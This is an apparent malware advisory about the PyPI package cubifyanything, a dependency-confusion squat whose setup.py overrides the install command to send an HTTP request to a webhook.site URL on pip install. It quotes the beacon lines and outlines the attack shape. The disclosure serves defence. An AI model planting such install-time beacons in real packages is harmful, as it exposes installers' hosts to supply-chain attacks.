MAL-2026-5404 Malicious code in cubifyanything (PyPI)
- Published
- Updated
- Exploit status
- No public exploit known
Description
-= Per source details. Do not edit below this line.=-
Source: amazon-inspector (2cab88d6047b15dbb32ca245f083a7eecd1df75ce183d47637c6c9edf5cfd0b4)
cubifyanything 1.0.1 is a dependency-confusion squat shipping no real functionality (top-level cubifyanything/init.py is 0 bytes) and a setup.py that installs a custom install command class which performs an HTTP GET to a webhook.site URL at install time, reporting that the package was installed on the target host. setup.py lines 7-10 contain webhook_url = "https://webhook.site/SƏNİN_WEBHOOK_LİNKİN" followed by urllib.request.urlopen(f"{webhook_url}?status=cubifyanything_installed", timeout=5), fired automatically from a cmdclass override during pip install. The package self-describes as 'Dependency Confusion PoC' with author 'Security Researcher'. Although the placeholder token in the URL (Azerbaijani for 'YOUR_WEBHOOK_LINK') means the specific URL likely fails DNS resolution in this copy, the package's design — claim a name expected to resolve to an internal/private package, ship empty code, and beacon to an attacker-controlled webhook host on install — is the canonical dependency-confusion attack shape and produces install-time outbound traffic from the installer's machine to a third-party endpoint.
Source: kam193 (c13a0f89f1b7b7185b34200461191cf8c108ac50a05dc8e66151d547a2e4d971)
Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose.
Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities.
Campaign: GENERIC-standard-pypi-install-pentest
Reasons (based on the campaign):
-
The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk.
-
The package overrides the install command in setup.py to execute malicious code during installation.
Upgrade path
1 package: 0 fixed.
| Package | Affected | Fixed in | Status |
|---|---|---|---|
| pypi cubifyanything(PyPI) | = 1.0.0; = 1.0.1; = 1.0.2 | No fix listed | Versions listed |
Affected products
| Product | Affected versions | Fixed in |
|---|---|---|
| pypi cubifyanything(PyPI) | = 1.0.0 | No fix listed |
| pypi cubifyanything(PyPI) | = 1.0.1 | No fix listed |
| pypi cubifyanything(PyPI) | = 1.0.2 | No fix listed |
References
- bad-packages.kam193.eu
- pypi.org product
- pypi.org product
- pypi.org product